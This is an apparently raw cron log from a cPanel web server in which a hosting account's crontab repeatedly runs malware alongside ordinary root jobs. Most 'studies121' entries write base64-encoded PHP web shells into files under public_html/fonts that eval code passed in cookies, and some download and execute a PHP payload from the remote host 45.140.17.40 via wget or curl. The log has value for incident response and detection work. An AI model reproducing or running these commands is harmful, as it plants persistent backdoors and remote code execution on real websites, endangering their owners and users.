Sep  8 11:15:01 ip-184-168-122-23 CROND[7783]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 11:15:01 ip-184-168-122-23 CROND[7784]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 11:15:01 ip-184-168-122-23 CROND[7785]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 11:15:01 ip-184-168-122-23 CROND[7787]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 11:16:01 ip-184-168-122-23 CROND[7949]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 11:16:01 ip-184-168-122-23 CROND[7951]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  8 11:16:01 ip-184-168-122-23 CROND[7952]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 11:16:01 ip-184-168-122-23 CROND[7955]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 11:16:01 ip-184-168-122-23 CROND[7954]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 11:16:01 ip-184-168-122-23 CROND[7956]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 11:17:01 ip-184-168-122-23 CROND[8072]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 11:17:01 ip-184-168-122-23 CROND[8074]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 11:17:01 ip-184-168-122-23 CROND[8076]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 11:17:01 ip-184-168-122-23 CROND[8078]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 11:18:01 ip-184-168-122-23 CROND[8163]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 11:18:01 ip-184-168-122-23 CROND[8164]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 11:18:01 ip-184-168-122-23 CROND[8167]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 11:18:01 ip-184-168-122-23 CROND[8168]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 11:18:01 ip-184-168-122-23 CROND[8169]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 11:19:01 ip-184-168-122-23 CROND[8267]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 11:19:01 ip-184-168-122-23 CROND[8270]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 11:19:01 ip-184-168-122-23 CROND[8274]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 11:19:01 ip-184-168-122-23 CROND[8275]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 11:20:01 ip-184-168-122-23 CROND[8501]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  8 11:20:01 ip-184-168-122-23 CROND[8505]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 11:20:01 ip-184-168-122-23 CROND[8506]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 11:20:01 ip-184-168-122-23 CROND[8511]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 11:20:01 ip-184-168-122-23 CROND[8512]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 11:20:01 ip-184-168-122-23 CROND[8510]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 11:20:01 ip-184-168-122-23 CROND[8513]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  8 11:20:01 ip-184-168-122-23 CROND[8516]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 11:20:01 ip-184-168-122-23 CROND[8517]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 11:21:01 ip-184-168-122-23 CROND[8651]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 11:21:01 ip-184-168-122-23 CROND[8654]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 11:21:01 ip-184-168-122-23 CROND[8652]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 11:21:01 ip-184-168-122-23 CROND[8655]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 11:22:01 ip-184-168-122-23 CROND[8786]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 11:22:01 ip-184-168-122-23 CROND[8787]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 11:22:01 ip-184-168-122-23 CROND[8789]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 11:22:01 ip-184-168-122-23 CROND[8788]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 11:22:01 ip-184-168-122-23 CROND[8790]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 11:23:01 ip-184-168-122-23 CROND[8889]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 11:23:01 ip-184-168-122-23 CROND[8890]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 11:23:01 ip-184-168-122-23 CROND[8891]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 11:23:01 ip-184-168-122-23 CROND[8893]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 11:24:01 ip-184-168-122-23 CROND[9023]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 11:24:01 ip-184-168-122-23 CROND[9024]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 11:24:01 ip-184-168-122-23 CROND[9025]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 11:24:01 ip-184-168-122-23 CROND[9026]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 11:24:01 ip-184-168-122-23 CROND[9027]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 11:25:01 ip-184-168-122-23 CROND[9176]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 11:25:01 ip-184-168-122-23 CROND[9178]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 11:25:01 ip-184-168-122-23 CROND[9179]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 11:25:01 ip-184-168-122-23 CROND[9181]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 11:25:01 ip-184-168-122-23 CROND[9180]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 11:25:01 ip-184-168-122-23 CROND[9183]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 11:26:01 ip-184-168-122-23 CROND[9294]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 11:26:01 ip-184-168-122-23 CROND[9298]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 11:26:01 ip-184-168-122-23 CROND[9296]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 11:26:01 ip-184-168-122-23 CROND[9297]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 11:26:01 ip-184-168-122-23 CROND[9299]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 11:27:01 ip-184-168-122-23 CROND[9444]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 11:27:01 ip-184-168-122-23 CROND[9448]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
